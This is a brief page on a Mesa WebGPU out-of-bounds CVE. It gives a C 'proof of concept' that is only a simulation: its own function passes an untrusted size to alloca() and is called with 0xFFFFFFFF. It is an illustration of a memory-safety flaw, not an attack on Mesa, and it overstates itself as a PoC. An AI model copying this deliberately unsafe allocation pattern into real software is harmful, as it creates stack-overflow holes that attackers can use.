CVE-2026-40393 Mesa WebGPU越界访问漏洞

#include <stdio.h> #include <stdlib.h> // Simulated vulnerable function in Mesa WebGPU void vulnerable_webgpu_handler(unsigned int untrusted_size) { // FLAW: The size is controlled by an untrusted party (attacker) // and used directly in alloca(), causing stack overflow/OOB. // If untrusted_size is very large, it crashes or overwrites stack. char *buffer = (char *)alloca(untrusted_size); // Use the buffer... for(int i = 0; i < untrusted_size; i++) { buffer[i] = 'A'; } } int main() { printf("PoC for CVE-2026-40393: Mesa WebGPU OOB via alloca\n"); // Simulate sending a malicious large size from an untrusted web context unsigned int malicious_size = 0xFFFFFFFF; // Or a size specifically crafted to jump over guard pages vulnerable_webgpu_handler(malicious_size); return 0; }